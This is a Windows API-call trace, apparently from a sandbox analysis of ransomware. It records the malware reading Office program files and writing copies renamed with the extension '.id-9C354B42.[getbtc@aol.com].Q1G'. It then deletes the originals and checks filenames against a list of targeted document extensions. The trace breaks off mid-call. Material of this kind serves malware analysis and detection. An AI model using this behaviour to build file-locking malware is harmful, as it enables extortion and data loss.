[0256.264] lstrlenW (lpString="VISWEB.VSL") returned 10 [0256.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0256.965] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=68488) returned 1 [0256.965] CloseHandle (hObject=0x20c) returned 1 [0256.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl")) returned 0x20 [0256.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0257.413] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.413] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0257.504] GetLastError () returned 0x0 [0257.504] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x10b88, lpOverlapped=0x0) returned 1 [0257.509] WriteFile (in: hFile=0x3b8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x10b90, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x10b90, lpOverlapped=0x0) returned 1 [0257.510] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.510] WriteFile (in: hFile=0x3b8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0257.510] SetEndOfFile (hFile=0x3b8) returned 1 [0257.511] CloseHandle (hObject=0x3b8) returned 1 [0257.511] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.511] SetEndOfFile (hFile=0x3a8) returned 1 [0257.534] CloseHandle (hObject=0x3a8) returned 1 [0257.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl")) returned 1 [0257.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0257.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0257.631] lstrlenW (lpString=".doc") returned 4 [0257.631] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0257.631] lstrlenW (lpString=".docx") returned 5 [0257.631] lstrcmpiW (lpString1=".docx", lpString2="B.VSL") returned -1 [0257.631] lstrlenW (lpString=".pdf") returned 4 [0257.631] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0257.631] lstrlenW (lpString=".xls") returned 4 [0257.632] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0257.632] lstrlenW (lpString=".xlsx") returned 5 [0257.632] lstrcmpiW (lpString1=".xlsx", lpString2="B.VSL") returned -1 [0257.632] lstrlenW (lpString=".ppt") returned 4 [0257.632] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0257.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0257.632] lstrlenW (lpString=".zip") returned 4 [0257.632] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0257.632] lstrlenW (lpString=".rar") returned 4 [0257.632] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0257.632] lstrlenW (lpString=".bz2") returned 4 [0257.632] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0257.632] lstrlenW (lpString=".7z") returned 3 [0257.632] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0257.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0257.632] lstrlenW (lpString=".dbf") returned 4 [0257.632] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0257.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0257.632] lstrlenW (lpString=".1cd") returned 4 [0257.632] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0257.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0257.632] lstrlenW (lpString=".jpg") returned 4 [0257.632] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0257.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0257.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0257.632] lstrlenW (lpString=".doc") returned 4 [0257.632] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0257.632] lstrlenW (lpString=".docx") returned 5 [0257.632] lstrcmpiW (lpString1=".docx", lpString2="B.VSL") returned -1 [0257.632] lstrlenW (lpString=".pdf") returned 4 [0257.632] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0257.632] lstrlenW (lpString=".xls") returned 4 [0257.632] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0257.632] lstrlenW (lpString=".xlsx") returned 5 [0257.632] lstrcmpiW (lpString1=".xlsx", lpString2="B.VSL") returned -1 [0257.633] lstrlenW (lpString=".ppt") returned 4 [0257.633] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0257.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0257.633] lstrlenW (lpString=".zip") returned 4 [0257.633] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0257.633] lstrlenW (lpString=".rar") returned 4 [0257.633] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0257.633] lstrlenW (lpString=".bz2") returned 4 [0257.633] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0257.633] lstrlenW (lpString=".7z") returned 3 [0257.633] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0257.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0257.633] lstrlenW (lpString=".dbf") returned 4 [0257.633] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0257.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0257.633] lstrlenW (lpString=".1cd") returned 4 [0257.633] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0257.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0257.633] lstrlenW (lpString=".jpg") returned 4 [0257.633] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0257.633] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0257.633] lstrlenW (lpString="ACCDDS.DLL") returned 10 [0257.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.640] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1250224) returned 1 [0257.640] CloseHandle (hObject=0x3e0) returned 1 [0257.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll")) returned 0x20 [0257.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0257.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0257.676] lstrlenW (lpString=".doc") returned 4 [0257.676] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.676] lstrlenW (lpString=".docx") returned 5 [0257.676] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0257.676] lstrlenW (lpString=".pdf") returned 4 [0257.676] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.676] lstrlenW (lpString=".xls") returned 4 [0257.676] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.676] lstrlenW (lpString=".xlsx") returned 5 [0257.676] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0257.676] lstrlenW (lpString=".ppt") returned 4 [0257.676] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0257.676] lstrlenW (lpString=".zip") returned 4 [0257.676] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.676] lstrlenW (lpString=".rar") returned 4 [0257.676] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.676] lstrlenW (lpString=".bz2") returned 4 [0257.676] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.676] lstrlenW (lpString=".7z") returned 3 [0257.676] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0257.676] lstrlenW (lpString=".dbf") returned 4 [0257.676] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0257.676] lstrlenW (lpString=".1cd") returned 4 [0257.676] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0257.676] lstrlenW (lpString=".jpg") returned 4 [0257.676] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0257.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0257.676] lstrlenW (lpString=".doc") returned 4 [0257.676] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.676] lstrlenW (lpString=".docx") returned 5 [0257.677] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0257.677] lstrlenW (lpString=".pdf") returned 4 [0257.677] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.677] lstrlenW (lpString=".xls") returned 4 [0257.677] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.677] lstrlenW (lpString=".xlsx") returned 5 [0257.677] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0257.677] lstrlenW (lpString=".ppt") returned 4 [0257.677] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0257.677] lstrlenW (lpString=".zip") returned 4 [0257.677] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.677] lstrlenW (lpString=".rar") returned 4 [0257.677] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.677] lstrlenW (lpString=".bz2") returned 4 [0257.677] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.677] lstrlenW (lpString=".7z") returned 3 [0257.677] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0257.677] lstrlenW (lpString=".dbf") returned 4 [0257.677] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0257.677] lstrlenW (lpString=".1cd") returned 4 [0257.677] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0257.677] lstrlenW (lpString=".jpg") returned 4 [0257.677] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.677] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0257.677] lstrlenW (lpString="ACCDDSF.DLL") returned 11 [0257.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.700] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=579488) returned 1 [0257.700] CloseHandle (hObject=0x390) returned 1 [0257.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll")) returned 0x20 [0257.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0257.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0257.707] lstrlenW (lpString=".doc") returned 4 [0257.707] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.707] lstrlenW (lpString=".docx") returned 5 [0257.707] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0257.707] lstrlenW (lpString=".pdf") returned 4 [0257.707] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.707] lstrlenW (lpString=".xls") returned 4 [0257.707] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.708] lstrlenW (lpString=".xlsx") returned 5 [0257.708] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0257.708] lstrlenW (lpString=".ppt") returned 4 [0257.708] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0257.708] lstrlenW (lpString=".zip") returned 4 [0257.708] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.708] lstrlenW (lpString=".rar") returned 4 [0257.708] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.708] lstrlenW (lpString=".bz2") returned 4 [0257.708] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.708] lstrlenW (lpString=".7z") returned 3 [0257.708] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0257.708] lstrlenW (lpString=".dbf") returned 4 [0257.708] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0257.708] lstrlenW (lpString=".1cd") returned 4 [0257.708] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0257.708] lstrlenW (lpString=".jpg") returned 4 [0257.708] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0257.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0257.708] lstrlenW (lpString=".doc") returned 4 [0257.708] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.708] lstrlenW (lpString=".docx") returned 5 [0257.708] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0257.708] lstrlenW (lpString=".pdf") returned 4 [0257.708] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.708] lstrlenW (lpString=".xls") returned 4 [0257.708] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.708] lstrlenW (lpString=".xlsx") returned 5 [0257.708] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0257.709] lstrlenW (lpString=".ppt") returned 4 [0257.709] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0257.709] lstrlenW (lpString=".zip") returned 4 [0257.709] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.709] lstrlenW (lpString=".rar") returned 4 [0257.709] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.709] lstrlenW (lpString=".bz2") returned 4 [0257.709] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.709] lstrlenW (lpString=".7z") returned 3 [0257.709] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0257.709] lstrlenW (lpString=".dbf") returned 4 [0257.709] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0257.709] lstrlenW (lpString=".1cd") returned 4 [0257.709] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0257.709] lstrlenW (lpString=".jpg") returned 4 [0257.709] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.709] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0257.709] lstrlenW (lpString="ACCVDT.DLL") returned 10 [0257.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.710] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=4532616) returned 1 [0257.710] CloseHandle (hObject=0x3c8) returned 1 [0257.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll")) returned 0x20 [0257.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.710] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0257.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0257.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0257.710] lstrlenW (lpString=".doc") returned 4 [0257.710] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.710] lstrlenW (lpString=".docx") returned 5 [0257.710] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0257.710] lstrlenW (lpString=".pdf") returned 4 [0257.710] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.710] lstrlenW (lpString=".xls") returned 4 [0257.710] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.710] lstrlenW (lpString=".xlsx") returned 5 [0257.710] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0257.710] lstrlenW (lpString=".ppt") returned 4 [0257.710] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0257.711] lstrlenW (lpString=".zip") returned 4 [0257.711] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.711] lstrlenW (lpString=".rar") returned 4 [0257.711] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.711] lstrlenW (lpString=".bz2") returned 4 [0257.711] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.711] lstrlenW (lpString=".7z") returned 3 [0257.711] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0257.711] lstrlenW (lpString=".dbf") returned 4 [0257.711] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0257.711] lstrlenW (lpString=".1cd") returned 4 [0257.711] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0257.711] lstrlenW (lpString=".jpg") returned 4 [0257.711] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0257.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0257.711] lstrlenW (lpString=".doc") returned 4 [0257.711] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0257.711] lstrlenW (lpString=".docx") returned 5 [0257.711] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0257.711] lstrlenW (lpString=".pdf") returned 4 [0257.711] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0257.711] lstrlenW (lpString=".xls") returned 4 [0257.711] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0257.711] lstrlenW (lpString=".xlsx") returned 5 [0257.711] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0257.711] lstrlenW (lpString=".ppt") returned 4 [0257.711] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0257.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0257.711] lstrlenW (lpString=".zip") returned 4 [0257.712] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.712] lstrlenW (lpString=".rar") returned 4 [0257.712] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.712] lstrlenW (lpString=".bz2") returned 4 [0257.712] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.712] lstrlenW (lpString=".7z") returned 3 [0257.712] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0257.712] lstrlenW (lpString=".dbf") returned 4 [0257.712] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0257.712] lstrlenW (lpString=".1cd") returned 4 [0257.712] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0257.712] lstrlenW (lpString=".jpg") returned 4 [0257.712] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.712] lstrcmpiW (lpString1=".ACCDU", lpString2=".Q1G") returned -1 [0257.712] lstrlenW (lpString="ACWZDAT12.ACCDU") returned 15 [0257.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.715] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=6250496) returned 1 [0257.715] CloseHandle (hObject=0x3c8) returned 1 [0257.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu")) returned 0x20 [0257.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.715] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 